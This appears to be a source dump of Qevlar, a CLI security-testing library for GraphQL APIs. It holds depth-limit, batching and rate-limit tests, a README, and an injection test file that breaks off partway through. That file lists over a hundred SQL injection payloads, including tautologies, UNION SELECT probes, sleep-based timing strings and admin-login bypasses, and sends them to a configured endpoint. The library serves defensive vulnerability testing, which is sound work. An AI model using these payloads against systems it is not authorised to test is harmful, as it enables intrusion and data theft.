global.fetch 81 | .mockResolvedValueOnce({ status: 200 }) 82 | .mockResolvedValueOnce({ status: 200 }) 83 | .mockResolvedValueOnce({ status: 400 }); 84 | 85 | await depthLimitTest.incremental(); 86 | 87 | expect(validateConfig).toHaveBeenCalledWith(config); 88 | expect(global.fetch).toHaveBeenCalledTimes(3); 89 | expect(console.log).toHaveBeenCalledWith( 90 | redBold(`------> Query at depth 4 incomplete.<-------`) 91 | ); 92 | expect(console.log).toHaveBeenCalledWith( 93 | greenBold('Test passed: ') + 94 | highlight( 95 | `Query blocked. Depth limited above ${config.QUERY_DEPTH_LIMIT} queries.\n` 96 | ) 97 | ); 98 | }); 99 | 100 | it('should log failure if query is not limited to QUERY_DEPTH_LIMIT', async () => { 101 | global.fetch.mockResolvedValue({ status: 200 }); 102 | 103 | await depthLimitTest.incremental(); 104 | 105 | expect(validateConfig).toHaveBeenCalledWith(config); 106 | expect(global.fetch).toHaveBeenCalledTimes(config.QUERY_DEPTH_LIMIT); 107 | expect(console.log).toHaveBeenCalledWith( 108 | redBold('Test failed: ') + 109 | highlight(`Query depth not limited to ${config.QUERY_DEPTH_LIMIT}.\n`) 110 | ); 111 | }); 112 | }); 113 | }); 114 | -------------------------------------------------------------------------------- /qevlar: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | const { redBold, bold, darkBold, yellowBold } = require('./color.js'); 4 | const readline = require('readline'); 5 | const qevlarLogo = ` 6 | 7 | ██████ ███████ ██ ██ ██ █████ ██████ 8 | ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ 9 | ██ ██ █████ ██ ██ ██ ███████ ██████ 10 | ██ ▄▄ ██ ██ ██ ██ ██ ██ ██ ██ ██ 11 | ██████ ███████ ████ ███████ ██ ██ ██ ██ 12 | ▀▀ 13 | `; 14 | 15 | const maliciousInjectionTest = require('./src/tests/maliciousInjectionTests.js'); 16 | const fieldDuplicationTest = require('./src/tests/fieldDuplicationTest.js'); 17 | const depthLimitTest = require('./src/tests/depthLimitTests.js'); 18 | const adaptiveRateLimitingTest = require('./src/tests/adaptiveRateLimitingTest.js'); 19 | const rateLimitTest = require('./src/tests/rateLimitTest.js'); 20 | const { batchTest } = require('./src/tests/queryBatchTest.js'); 21 | const getSchema = require('./src/getSchema.js'); 22 | 23 | const tests = { 24 | 0: { 25 | name: 'Generate Config', 26 | function: generateConfig, 27 | }, 28 | 1: { 29 | name: 'Rate Limit Test', 30 | function: rateLimitTest, 31 | }, 32 | 2: { 33 | name: 'Adaptive Rate Limiting Test', 34 | function: adaptiveRateLimitingTest, 35 | }, 36 | 3: { 37 | name: 'Fixed Depth Test', 38 | function: depthLimitTest.max, 39 | }, 40 | 4: { 41 | name: 'Incremental Depth Test', 42 | function: depthLimitTest.incremental, 43 | }, 44 | 5: { 45 | name: 'Field Duplication Test', 46 | function: fieldDuplicationTest, 47 | }, 48 | 6: { 49 | name: 'Query Batch Test', 50 | function: batchTest, 51 | }, 52 | 7: { 53 | name: 'SQL Malicious Injection Test', 54 | function: maliciousInjectionTest.SQL, 55 | }, 56 | 8: { 57 | name: 'NoSQL Malicious Injection Test', 58 | function: maliciousInjectionTest.NoSQL, 59 | }, 60 | 9: { 61 | name: 'Cross-Site Scripting Injection Test', 62 | function: maliciousInjectionTest.XSS, 63 | }, 64 | 10: { 65 | name: 'OS Command Injection Test', 66 | function: maliciousInjectionTest.OS, 67 | }, 68 | }; 69 | 70 | // To return to test menu after test completion 71 | function runTest(testKey, rl) { 72 | console.log(`\nRunning ${tests[testKey].name}...\n`); 73 | tests[testKey].function(() => { 74 | console.log('Choose another test or press Q to exit.'); 75 | rl.close(); 76 | listTestsAndRunSelection(); 77 | }); 78 | } 79 | 80 | function listTestsAndRunSelection() { 81 | console.log( 82 | bold( 83 | '\n\n><><><><><>< ' + 84 | bold('W E L C O M E T O Q E V L A R') + 85 | ' ><><><><><><\n' 86 | ) 87 | ); 88 | console.log(yellowBold('\nAvailable Tests:')); 89 | console.log(darkBold('═══════════════════════════════')); 90 | for (const test in tests) { 91 | console.log(`${test} : ${tests[test].name}`); 92 | } 93 | console.log('Q: Exit qevlar testing library'); 94 | console.log(darkBold('═══════════════════════════════')); 95 | 96 | const rl = readline.createInterface({ 97 | input: process.stdin, 98 | output: process.stdout, 99 | terminal: false, 100 | }); 101 | 102 | rl.question( 103 | '\nEnter the number of the test to run or Q to quit: \n', 104 | (input) => { 105 | const testKey = input.trim().toUpperCase(); 106 | if (testKey === 'Q') { 107 | console.log(redBold('\nThank you for using')); 108 | console.log(`${qevlarLogo}`); 109 | console.log(redBold('\nExiting...')); 110 | rl.close(); 111 | } else if (tests[testKey]) { 112 | runTest(testKey, rl); 113 | } else { 114 | console.log('Invalid selection.'); 115 | rl.close(); 116 | listTestsAndRunSelection(); 117 | } 118 | } 119 | ); 120 | } 121 | 122 | // To auto-generate qevlarConfig.json 123 | async function generateConfig() { 124 | return new Promise((resolve, reject) => { 125 | const rl = readline.createInterface({ 126 | input: process.stdin, 127 | output: process.stdout, 128 | terminal: false, 129 | }); 130 | rl.question('\nPlease submit the url to your API:\n', async (apiUrl) => { 131 | try { 132 | const result = await getSchema(apiUrl, listTestsAndRunSelection); 133 | if (result === 'success') { 134 | resolve(); 135 | rl.close(); 136 | } 137 | } catch (error) { 138 | console.log('error in getSchema', error); 139 | rl.close(); 140 | reject(error); 141 | } 142 | }); 143 | }); 144 | } 145 | 146 | listTestsAndRunSelection(); 147 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Qevlar logo](./assets/qevlar_github-banner.png) 2 | 3 |

Welcome to Qevlar

4 |

5 | 6 | Version 7 | 8 | 9 | Maintenance 10 | 11 |

12 | 13 | ## 14 | 15 | ### [qevlar.dev](qevlar.dev) 16 | 17 | Qevlar is a dependency-free security testing library for GraphQL APIs that runs directly from your CLI. It assesses vulnerabilities to a multitude of DoS attacks, malicious SQL/NoSQL injections, and more. 18 | 19 | ## Test Overview 20 | 21 | ### Select test from test menu: 22 | 23 | Easily choose which tests to run, right from your CLI, featuring built-in type checking. 24 | 25 | ![Test Menu](./assets/qevlar_test_menufinal.png) 26 | 27 | ### Query depth limiting test example: 28 | 29 | Tests each depth level up to `QUERY_DEPTH_LIMIT`. 30 | 31 | ![Depth Limit Test Snippet](./assets/qevlar_depth_limit_snippet.png) 32 | 33 | ### SQL injection test example: 34 | 35 | Tests vulnerability to 100s of malicous SQL injection payloads. 36 | 37 | ![SQL Test Snippet](./assets/qevlar_sql_injection_snippet.png) 38 | 39 | ### Rate limiting test example: 40 | 41 | Tests from `INITIAL_RATE` up to `QUERY_RATE_LIMIT` at each `INCREMENT`. 42 | 43 | ![Rate Limit Test Snippet](./assets/qevlar_rate_limit_snippet.png) 44 | 45 | ## Installation 46 | 47 | ```sh 48 | npm install qevlar 49 | ``` 50 | 51 | ## Setup 52 | 53 | 1. Run start command: 54 | 55 | ``` 56 | npm run qevlar 57 | ``` 58 | 59 | 2. To manually customize config, edit the relevant fields in `qevlarConfig.json` located in `node_modules/qevlar`. It's initialized as: 60 | 61 | ``` 62 | { 63 | "ANY_TOP_LEVEL_FIELD_ID": "", 64 | "API_URL": "", 65 | "BATCH_SIZE": 10, 66 | "CIRCULAR_REF_FIELD": "", 67 | "INCREMENT": 10, 68 | "INITIAL_RATE": 10, 69 | "NO_SQL": false, 70 | "QUERY_DEPTH_LIMIT": 5, 71 | "QUERY_RATE_LIMIT": 100, 72 | "SQL": false, 73 | "SQL_COLUMN_NAME": "", 74 | "SQL_TABLE_NAME": "", 75 | "SUB_FIELD": "id", 76 | "TIME_WINDOW": 1000, 77 | "TOP_LEVEL_FIELD": "" 78 | } 79 | ``` 80 | 81 | 3. To generate `qevlarConfig.json` automatically, select `0` in your CLI and submit your API's URL when prompted. This will introspect your Graph QL API, aquiring field names, then automatically update `qevlarConfig.json`. 82 | 4. After, select the test you want to run. Results will be displayed in your CLI! 83 | 84 | ## Contributing 85 | 86 | Contributions, issues and feature requests are welcome!
87 | 88 | ### Branch management 89 | 90 | Please submit any pull requests to the dev branch. All changes will be reviewed before merging by OSLabs and prior contributors. 91 | 92 | ### Bugs and suggestions 93 | 94 | For help with existing issues, please read our GitHub [issues page](https://github.com/oslabs-beta/qevlar/issues). 95 | If you cannot find support in the issues page, please file a report on the same issues page. 96 | 97 | Suggestions and other feedback are more than welcome. 98 | 99 | ## Future Direction 100 | 101 | - Perform query cost analysis, allowing addition of cost limiting tests to the library 102 | - Package security solutions to these attacks in their own library 103 | - Introspection Tests 104 | - Jest/End-to-end testing 105 | - GUI standalone application to run tests from 106 | - Authentication/Authorization 107 | 108 | ## Meet the team 🧑‍🚀 109 | 110 | Joshua McDaniel [GitHub](https://github.com/joshuamcdaniel95) | [LinkedIn](https://www.linkedin.com/in/joshuamcdanielxyz/) | [Email](mailto:jwilliammcdaniel@gmail.com)
111 | Conor Bell [GitHub](https://github.com/conorbell) | [LinkedIn](https://www.linkedin.com/in/conor-bell/) | [Email](mailto:conorbell27@gmail.com)
112 | Hyung Noh [GitHub](https://github.com/johniskorean) | [LinkedIn](https://www.linkedin.com/in/johniskorean/) | [Email](mailto:johnhyungilnoh@gmail.com)
113 | Landon Osteen [GitHub](https://github.com/LandonOsteen) | [LinkedIn](https://www.linkedin.com/in/landonosteen/) | [Email](mailto:landonwyatteosteen@gmail.com) 114 |
115 |
116 | We're just a couple devs who love open-source solutions. 117 | 118 | GitHub stars are welcomed, but really we're happy just building things people want to use. 119 | 120 | Check Qevlar out on LinkedIn [here](https://www.linkedin.com/company/qevlarxyz/about/). 121 | 122 | ## License 123 | 124 | _This project is [ISC](https://github.com/oslabs-beta/Qevlar/blob/master/LICENSE) licensed._ 125 | -------------------------------------------------------------------------------- /src/tests/queryBatchTest.js: -------------------------------------------------------------------------------- 1 | const config = require('../../qevlarConfig.json'); 2 | const { greenBold, redBold, highlight, yellowBold } = require('../../color'); 3 | const validateConfig = require('../../__tests__/validateConfig'); 4 | 5 | const generateDynamicBatchQuery = (count, baseQuery) => { 6 | return Array(count).fill(baseQuery); 7 | }; 8 | 9 | const sendBatchQueries = async (url, batchedQueries) => { 10 | const start = Date.now(); 11 | try { 12 | const response = await fetch(url, { 13 | method: 'POST', 14 | headers: { 15 | 'Content-type': 'application/json', 16 | }, 17 | body: JSON.stringify(batchedQueries), 18 | }); 19 | const end = Date.now(); 20 | const latency = end - start; 21 | return { status: response.status, latency, error: null }; 22 | } catch (error) { 23 | const end = Date.now(); 24 | const latency = end - start; 25 | return { status: 'error', latency, error: error.message }; 26 | } 27 | }; 28 | 29 | const calculateThroughput = (numBatches, batchLength, elapsedTime) => { 30 | return (numBatches * batchLength) / (elapsedTime / 1000); 31 | }; 32 | 33 | const calculateStatistics = (times) => { 34 | const sorted = [...times].sort((a, b) => a - b); 35 | const sum = sorted.reduce((acc, curr) => acc + curr, 0); 36 | const average = sum / sorted.length; 37 | const median = sorted[Math.floor(sorted.length / 2)]; 38 | const min = sorted[0]; 39 | const max = sorted[sorted.length - 1]; 40 | const percentile = (percent) => sorted[Math.floor(sorted.length * percent)]; 41 | 42 | return { 43 | min, 44 | max, 45 | average, 46 | median, 47 | percentile97: percentile(0.97), 48 | }; 49 | }; 50 | 51 | const logResults = ( 52 | responseTimes, 53 | testPassedCount, 54 | testFailedCount, 55 | errors, 56 | numBatches, 57 | batchLength, 58 | elapsedTime 59 | ) => { 60 | const stats = calculateStatistics(responseTimes); 61 | 62 | console.log( 63 | yellowBold(`\nThroughput: `) + 64 | highlight( 65 | `${calculateThroughput(numBatches, batchLength, elapsedTime).toFixed( 66 | 2 67 | )} batches/second` 68 | ) 69 | ); 70 | 71 | console.log(yellowBold(`Response Time Statistics:`)); 72 | console.log( 73 | `Min: ${stats.min} ms, Max: ${ 74 | stats.max 75 | } ms, Average: ${stats.average.toFixed(2)} ms, Median: ${ 76 | stats.median 77 | } ms, 97th Percentile: ${stats.percentile97} ms` 78 | ); 79 | 80 | console.log(yellowBold(`Summary:`)); 81 | console.log( 82 | highlight(`Total Batches: ${numBatches}`), 83 | highlight(`Passed: ${testPassedCount}`), 84 | highlight(`Failed: ${testFailedCount}`) 85 | ); 86 | 87 | if (errors.length > 0) { 88 | console.log( 89 | redBold(`Errors encountered:`), 90 | errors.map((err) => highlight(`\n${err}`)).join('') 91 | ); 92 | } 93 | }; 94 | 95 | const batchTest = async ( 96 | returnToTestMenu, 97 | numBatches = 100, 98 | batchLength = 10 99 | ) => { 100 | const url = process.env.API_URL || config.API_URL; 101 | const topLevelField = process.env.TOP_LEVEL_FIELD || config.TOP_LEVEL_FIELD; 102 | const anyTopLevelFieldId = 103 | process.env.ANY_TOP_LEVEL_FIELD_ID || config.ANY_TOP_LEVEL_FIELD_ID; 104 | const subField = process.env.SUB_FIELD || config.SUB_FIELD; 105 | 106 | validateConfig(config); 107 | 108 | const query = `{ ${topLevelField}(id: "${anyTopLevelFieldId}") { ${subField} ${subField} } }`; 109 | const newBatch = generateDynamicBatchQuery(batchLength, query); 110 | 111 | const start = Date.now(); 112 | const responseTimes = []; 113 | const errors = []; 114 | let testPassedCount = 0; 115 | let testFailedCount = 0; 116 | 117 | for (let i = 0; i < numBatches; i++) { 118 | const batchedQueries = newBatch.map((query) => ({ query })); 119 | const { status, latency, error } = await sendBatchQueries( 120 | url, 121 | batchedQueries 122 | ); 123 | 124 | if (latency !== null) responseTimes.push(latency); 125 | 126 | if (status === 200) { 127 | console.error( 128 | redBold('Test Failed: ') + 129 | highlight(`Batch query test failed with status: ${status}`) 130 | ); 131 | testFailedCount++; 132 | } else { 133 | console.log( 134 | greenBold('Test Passed: ') + highlight('Server rejected batch query') 135 | ); 136 | testPassedCount++; 137 | } 138 | 139 | if (error) { 140 | errors.push(`Batch ${i + 1}: ${error}`); 141 | } 142 | } 143 | 144 | const end = Date.now(); 145 | const elapsedTime = end - start; 146 | 147 | logResults( 148 | responseTimes, 149 | testPassedCount, 150 | testFailedCount, 151 | errors, 152 | numBatches, 153 | batchLength, 154 | elapsedTime 155 | ); 156 | 157 | if (returnToTestMenu) returnToTestMenu(); 158 | }; 159 | 160 | module.exports = { batchTest, generateDynamicBatchQuery }; 161 | -------------------------------------------------------------------------------- /src/tests/depthLimitTests.js: -------------------------------------------------------------------------------- 1 | const { greenBold, redBold, highlight } = require("../../color"); 2 | const config = require("../../qevlarConfig.json"); 3 | const validateConfig = require("../../__tests__/validateConfig"); 4 | 5 | const depthLimitTest = {}; 6 | 7 | // Tests one level deeper than QUERY_DEPTH_LIMIT 8 | depthLimitTest.max = (returnToTestMenu) => { 9 | validateConfig(config); 10 | 11 | function setDynamicQueryBody() { 12 | let dynamicQueryBody = `${config.TOP_LEVEL_FIELD}(id: ${config.ANY_TOP_LEVEL_FIELD_ID}) {`; 13 | let depth = 1; 14 | let endOfQuery = "id}"; 15 | let lastFieldAddedToQuery = config.TOP_LEVEL_FIELD; 16 | 17 | while (depth < config.QUERY_DEPTH_LIMIT) { 18 | if (lastFieldAddedToQuery == config.TOP_LEVEL_FIELD) { 19 | dynamicQueryBody += `${config.CIRCULAR_REF_FIELD} {`; 20 | lastFieldAddedToQuery = config.CIRCULAR_REF_FIELD; 21 | } else if (lastFieldAddedToQuery == config.CIRCULAR_REF_FIELD) { 22 | dynamicQueryBody += `${config.TOP_LEVEL_FIELD} {`; 23 | lastFieldAddedToQuery = config.TOP_LEVEL_FIELD; 24 | } 25 | endOfQuery += "}"; 26 | depth += 1; 27 | } 28 | return dynamicQueryBody + endOfQuery; 29 | } 30 | const dynamicQueryBody = setDynamicQueryBody(); 31 | 32 | fetch(config.API_URL, { 33 | method: "POST", 34 | headers: { 35 | "content-type": "application/json", 36 | }, 37 | body: JSON.stringify({ 38 | query: `query depthLimitTestDynamic { 39 | ${dynamicQueryBody} 40 | }`, 41 | }), 42 | }).then((res) => { 43 | if (res.status < 200 || res.status > 299) { 44 | console.log( 45 | greenBold("Test passed: ") + 46 | highlight( 47 | `Query blocked. Query depth exceeded depth limit of ${config.QUERY_DEPTH_LIMIT}.` 48 | ) 49 | ); 50 | if (returnToTestMenu) returnToTestMenu(); 51 | } else { 52 | console.log( 53 | redBold("Test failed: ") + 54 | highlight( 55 | `Query depth was over limit of ${config.QUERY_DEPTH_LIMIT}, yet was not blocked.` 56 | ) 57 | ); 58 | if (returnToTestMenu) returnToTestMenu(); 59 | } 60 | }); 61 | }; 62 | 63 | // Tests each depth level up to QUERY_DEPTH_LIMIT 64 | depthLimitTest.incremental = async (returnToTestMenu) => { 65 | validateConfig(config); 66 | let incrementalDepth = 1; 67 | let success = true; 68 | 69 | async function makeQueryAtIncrementalDepth() { 70 | function setDynamicQueryBody() { 71 | let dynamicQueryBody = `${config.TOP_LEVEL_FIELD}(id: ${config.ANY_TOP_LEVEL_FIELD_ID}) {`; 72 | let depth = 1; 73 | let endOfQuery = "id}"; 74 | let lastFieldAddedToQuery = config.TOP_LEVEL_FIELD; 75 | 76 | while (depth < incrementalDepth) { 77 | if (lastFieldAddedToQuery == config.TOP_LEVEL_FIELD) { 78 | dynamicQueryBody += `${config.CIRCULAR_REF_FIELD} {`; 79 | lastFieldAddedToQuery = config.CIRCULAR_REF_FIELD; 80 | } else if (lastFieldAddedToQuery == config.CIRCULAR_REF_FIELD) { 81 | dynamicQueryBody += `${config.TOP_LEVEL_FIELD} {`; 82 | lastFieldAddedToQuery = config.TOP_LEVEL_FIELD; 83 | } 84 | endOfQuery += "}"; 85 | depth += 1; 86 | } 87 | 88 | return dynamicQueryBody + endOfQuery; 89 | } 90 | const dynamicQueryBody = setDynamicQueryBody(); 91 | 92 | return fetch(config.API_URL, { 93 | method: "POST", 94 | headers: { 95 | "content-type": "application/json", 96 | }, 97 | body: JSON.stringify({ 98 | query: `query depthLimitTestDynamic { 99 | ${dynamicQueryBody} 100 | }`, 101 | }), 102 | }).then((res) => { 103 | if (res.status < 200 || res.status > 299) success = false; 104 | return success; 105 | }); 106 | } 107 | 108 | while (incrementalDepth <= config.QUERY_DEPTH_LIMIT) { 109 | try { 110 | success = await makeQueryAtIncrementalDepth(); 111 | if (!success) break; 112 | incrementalDepth++; 113 | console.log( 114 | greenBold( 115 | `------> Query at depth ${incrementalDepth} complete.<-------` 116 | ) 117 | ); 118 | } catch (err) { 119 | success = false; 120 | } 121 | } 122 | 123 | if (!success) { 124 | console.log( 125 | redBold( 126 | `------> Query at depth ${incrementalDepth + 1} incomplete.<-------` 127 | ) 128 | ); 129 | console.log( 130 | greenBold("Test passed: ") + 131 | highlight( 132 | `Query blocked. Depth limited above ${config.QUERY_DEPTH_LIMIT} queries.\n` 133 | ) 134 | ); 135 | 136 | if (returnToTestMenu) returnToTestMenu(); 137 | return; 138 | } else { 139 | console.log( 140 | redBold("Test failed: ") + 141 | highlight(`Query depth not limited to ${config.QUERY_DEPTH_LIMIT}.\n`) 142 | ); 143 | 144 | if (returnToTestMenu) returnToTestMenu(); 145 | } 146 | }; 147 | 148 | module.exports = depthLimitTest; 149 | -------------------------------------------------------------------------------- /__tests__/queryBatchTest.js: -------------------------------------------------------------------------------- 1 | const { 2 | batchTest, 3 | generateDynamicBatchQuery, 4 | } = require('../src/tests/queryBatchTest'); 5 | const config = require('../qevlarConfig.json'); 6 | const validateConfig = require('./validateConfig'); 7 | const { greenBold, redBold, highlight } = require('../color'); 8 | 9 | jest.mock('../../color', () => ({ 10 | greenBold: jest.fn((text) => text), 11 | redBold: jest.fn((text) => text), 12 | highlight: jest.fn((text) => text), 13 | })); 14 | 15 | jest.mock('../qevlarConfig.json', () => ({ 16 | API_URL: 'http://test-api.com', 17 | TOP_LEVEL_FIELD: 'test_field', 18 | ANY_TOP_LEVEL_FIELD_ID: '123', 19 | CIRCULAR_REF_FIELD: 'circular_field', 20 | QUERY_DEPTH_LIMIT: 3, 21 | })); 22 | // Mock fetch function 23 | global.fetch = jest.fn(); 24 | 25 | describe('batchTest', () => { 26 | beforeEach(() => { 27 | jest.clearAllMocks(); 28 | console.log = jest.fn(); 29 | }); 30 | 31 | describe('generateDynamicBatchQuery', () => { 32 | it('should generate an array of queries of the given count', () => { 33 | const count = 3; 34 | const baseQuery = '{ test }'; 35 | const result = generateDynamicBatchQuery(count, baseQuery); 36 | expect(result).toEqual([baseQuery, baseQuery, baseQuery]); 37 | }); 38 | }); 39 | 40 | describe('sendBatchQueries', () => { 41 | const { sendBatchQueries } = require('../src/tests/batchTest'); 42 | 43 | it('should return response status and latency on success', async () => { 44 | const mockResponse = { status: 200 }; 45 | global.fetch.mockResolvedValueOnce(mockResponse); 46 | 47 | const url = 'http://test-api.com'; 48 | const batchedQueries = [{ query: '{ test }' }]; 49 | 50 | const result = await sendBatchQueries(url, batchedQueries); 51 | 52 | expect(result.status).toBe(200); 53 | expect(result.latency).toBeGreaterThan(0); 54 | expect(result.error).toBeNull(); 55 | }); 56 | 57 | it('should return error message and latency on failure', async () => { 58 | const mockError = new Error('Fetch failed'); 59 | global.fetch.mockRejectedValueOnce(mockError); 60 | 61 | const url = 'http://test-api.com'; 62 | const batchedQueries = [{ query: '{ test }' }]; 63 | 64 | const result = await sendBatchQueries(url, batchedQueries); 65 | 66 | expect(result.status).toBe('error'); 67 | expect(result.latency).toBeGreaterThan(0); 68 | expect(result.error).toBe(mockError.message); 69 | }); 70 | }); 71 | 72 | describe('calculateThroughput', () => { 73 | const { calculateThroughput } = require('../src/tests/batchTest'); 74 | 75 | it('should calculate throughput correctly', () => { 76 | const numBatches = 100; 77 | const batchLength = 10; 78 | const elapsedTime = 2000; // in milliseconds 79 | 80 | const result = calculateThroughput(numBatches, batchLength, elapsedTime); 81 | expect(result).toBeCloseTo(50); // batches per second 82 | }); 83 | }); 84 | 85 | describe('calculateStatistics', () => { 86 | const { calculateStatistics } = require('../src/tests/batchTest'); 87 | 88 | it('should calculate statistics correctly', () => { 89 | const times = [10, 20, 30, 40, 50]; 90 | 91 | const result = calculateStatistics(times); 92 | 93 | expect(result.min).toBe(10); 94 | expect(result.max).toBe(50); 95 | expect(result.average).toBe(30); 96 | expect(result.median).toBe(30); 97 | expect(result.percentile97).toBe(50); 98 | }); 99 | }); 100 | 101 | describe('logResults', () => { 102 | const { logResults } = require('../src/tests/batchTest'); 103 | 104 | it('should log results correctly', () => { 105 | const responseTimes = [10, 20, 30, 40, 50]; 106 | const testPassedCount = 90; 107 | const testFailedCount = 10; 108 | const errors = ['Error 1', 'Error 2']; 109 | const numBatches = 100; 110 | const batchLength = 10; 111 | const elapsedTime = 2000; 112 | 113 | logResults( 114 | responseTimes, 115 | testPassedCount, 116 | testFailedCount, 117 | errors, 118 | numBatches, 119 | batchLength, 120 | elapsedTime 121 | ); 122 | 123 | expect(console.log).toHaveBeenCalled(); 124 | }); 125 | }); 126 | 127 | describe('batchTest', () => { 128 | it('should execute batch test and log results', async () => { 129 | global.fetch 130 | .mockResolvedValueOnce({ status: 400 }) 131 | .mockResolvedValueOnce({ status: 200 }); 132 | 133 | const returnToTestMenu = jest.fn(); 134 | 135 | await batchTest(returnToTestMenu, 2, 1); 136 | 137 | expect(validateConfig).toHaveBeenCalledWith(config); 138 | expect(global.fetch).toHaveBeenCalledTimes(2); 139 | expect(console.log).toHaveBeenCalled(); 140 | expect(returnToTestMenu).toHaveBeenCalled(); 141 | }); 142 | 143 | it('should handle errors during batch test', async () => { 144 | global.fetch.mockRejectedValueOnce(new Error('Fetch failed')); 145 | 146 | const returnToTestMenu = jest.fn(); 147 | 148 | await batchTest(returnToTestMenu, 1, 1); 149 | 150 | expect(validateConfig).toHaveBeenCalledWith(config); 151 | expect(global.fetch).toHaveBeenCalledTimes(1); 152 | expect(console.log).toHaveBeenCalled(); 153 | expect(returnToTestMenu).toHaveBeenCalled(); 154 | }); 155 | }); 156 | }); 157 | -------------------------------------------------------------------------------- /src/tests/maliciousInjectionTests.js: -------------------------------------------------------------------------------- 1 | const { greenBold, red, redBold, underlined } = require("../../color"); 2 | const config = require("../../qevlarConfig.json"); 3 | const validateConfig = require("../../__tests__/validateConfig"); 4 | 5 | const maliciousInjectionTest = {}; 6 | 7 | // Tests vulnerability to malicous SQL injection 8 | maliciousInjectionTest.SQL = async (returnToTestMenu) => { 9 | validateConfig(config); 10 | if (!config.SQL) { 11 | console.log( 12 | "SQL config variable must be set to boolean true to execute SQL injection test." 13 | ); 14 | return; 15 | } 16 | 17 | let successfulQuery = true; 18 | const blockedInjections = []; 19 | const allowedInjections = []; 20 | 21 | const potentiallyMaliciousSQL = [ 22 | "1=1", 23 | `' OR`, 24 | "select sqlite_version()", 25 | "@@version", 26 | "DROP TABLE", 27 | "UNION SELECT null", 28 | "SELECT sql FROM sqlite_schema", 29 | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'`, 30 | "OR 1=0", 31 | "OR x=x", 32 | "OR x=y", 33 | "OR 1=1#", 34 | "OR 1=0#", 35 | "OR x=x#", 36 | "OR x=y#", 37 | "OR 1=1-- ", 38 | "OR 1=0-- ", 39 | "OR x=x-- ", 40 | "OR x=y--", 41 | "HAVING 1=1", 42 | "HAVING 1=0", 43 | "HAVING 1=1#", 44 | "HAVING 1=0#", 45 | "HAVING 1=1--", 46 | "HAVING 1=0--", 47 | "AND 1=1", 48 | "AND 1=0", 49 | "AND 1=1--", 50 | "AND 1=0--", 51 | "AND 1=1#", 52 | "AND 1=0#", 53 | "AND 1=1 AND '%'='", 54 | "AND 1=0 AND '%'='", 55 | "AND 1083=1083 AND (1427=1427", 56 | "AND 7506=9091 AND (5913=5913", 57 | `AND 1083=1083 AND (1427=1427`, 58 | "AND 7506=9091 AND (5913=5913", 59 | "AND 7300=7300 AND (pKlZ=pKlZ", 60 | "AND 7300=7300 AND (pKlZ=pKlY", 61 | "AS INJECTX WHERE 1=1 AND 1=1", 62 | "AS INJECTX WHERE 1=1 AND 1=0", 63 | "AS INJECTX WHERE 1=1 AND 1=1#", 64 | "AS INJECTX WHERE 1=1 AND 1=0#", 65 | "AS INJECTX WHERE 1=1 AND 1=1--", 66 | "AS INJECTX WHERE 1=1 AND 1=0--", 67 | "WHERE 1=1 AND 1=1", 68 | "WHERE 1=1 AND 1=0", 69 | "WHERE 1=1 AND 1=1#", 70 | "WHERE 1=1 AND 1=0#", 71 | "WHERE 1=1 AND 1=1--", 72 | "WHERE 1=1 AND 1=0--", 73 | "ORDER BY 1-- ", 74 | "ORDER BY 2-- ", 75 | "ORDER BY 3-- ", 76 | "ORDER BY 4-- ", 77 | "ORDER BY 5-- ", 78 | "ORDER BY 6-- ", 79 | "ORDER BY 7-- ", 80 | "ORDER BY 8-- ", 81 | "ORDER BY 9-- ", 82 | "ORDER BY 10-- ", 83 | "ORDER BY 11-- ", 84 | "ORDER BY 12-- ", 85 | "ORDER BY 13-- ", 86 | "ORDER BY 14-- ", 87 | "ORDER BY 15-- ", 88 | "ORDER BY 16-- ", 89 | "ORDER BY 17-- ", 90 | "ORDER BY 18-- ", 91 | "ORDER BY 19-- ", 92 | "ORDER BY 20-- ", 93 | "ORDER BY 21-- ", 94 | "ORDER BY 22-- ", 95 | "ORDER BY 23-- ", 96 | "ORDER BY 24-- ", 97 | "ORDER BY 25-- ", 98 | "ORDER BY 26-- ", 99 | "ORDER BY 27-- ", 100 | "ORDER BY 28-- ", 101 | "ORDER BY 29-- ", 102 | "ORDER BY 30-- ", 103 | "ORDER BY 31337--", 104 | "ORDER BY 1# ", 105 | "ORDER BY 2# ", 106 | "ORDER BY 3# ", 107 | "ORDER BY 4# ", 108 | "ORDER BY 5# ", 109 | "ORDER BY 6# ", 110 | "ORDER BY 7# ", 111 | "ORDER BY 8# ", 112 | "ORDER BY 9# ", 113 | "ORDER BY 10# ", 114 | "ORDER BY 11# ", 115 | "ORDER BY 12# ", 116 | "ORDER BY 13# ", 117 | "ORDER BY 14# ", 118 | "ORDER BY 15# ", 119 | "ORDER BY 16# ", 120 | "ORDER BY 17# ", 121 | "ORDER BY 18# ", 122 | "ORDER BY 19# ", 123 | "ORDER BY 20# ", 124 | "ORDER BY 21# ", 125 | "ORDER BY 22# ", 126 | "ORDER BY 23# ", 127 | "ORDER BY 24# ", 128 | "ORDER BY 25# ", 129 | "ORDER BY 26# ", 130 | "ORDER BY 27# ", 131 | "ORDER BY 28# ", 132 | "ORDER BY 29# ", 133 | "ORDER BY 30#", 134 | "ORDER BY 31337#", 135 | "1 or sleep(5)#", 136 | `' or sleep(5)#`, 137 | `' or sleep(5)#`, 138 | `' or sleep(5)='`, 139 | `' or sleep(5)='`, 140 | "1) or sleep(5)#", 141 | "ORDER BY SLEEP(5)", 142 | "ORDER BY SLEEP(5)--", 143 | "ORDER BY SLEEP(5)#", 144 | `ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))`, 145 | `ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4`, 146 | "UNION ALL SELECT 1", 147 | "UNION ALL SELECT 1,2", 148 | "UNION ALL SELECT 1,2,3;", 149 | "UNION ALL SELECT 1-- ", 150 | `'admin' --`, 151 | `admin' #`, 152 | `'admin'/*`, 153 | `'admin' or '1'='1`, 154 | ]; 155 | 156 | for (const maliciousSnippet of potentiallyMaliciousSQL) { 157 | await fetch(config.API_URL, { 158 | method: "POST", 159 | headers: { 160 | "content-type": "application/json", 161 | }, 162 | body: JSON.stringify({ 163 | query: `query { 164 | ${config.SQL_TABLE_NAME}(sql: "${maliciousSnippet}") { 165 | ${config.SQL_COLUMN_NAME} 166 | } 167 | }`, 168 | }), 169 | }).then((res) => { 170 | if (!res.ok) { 171 | successfulQuery = false; 172 | blockedInjections.push(maliciousSnippet); 173 | } else allowedInjections.push(maliciousSnippet + "\n"); 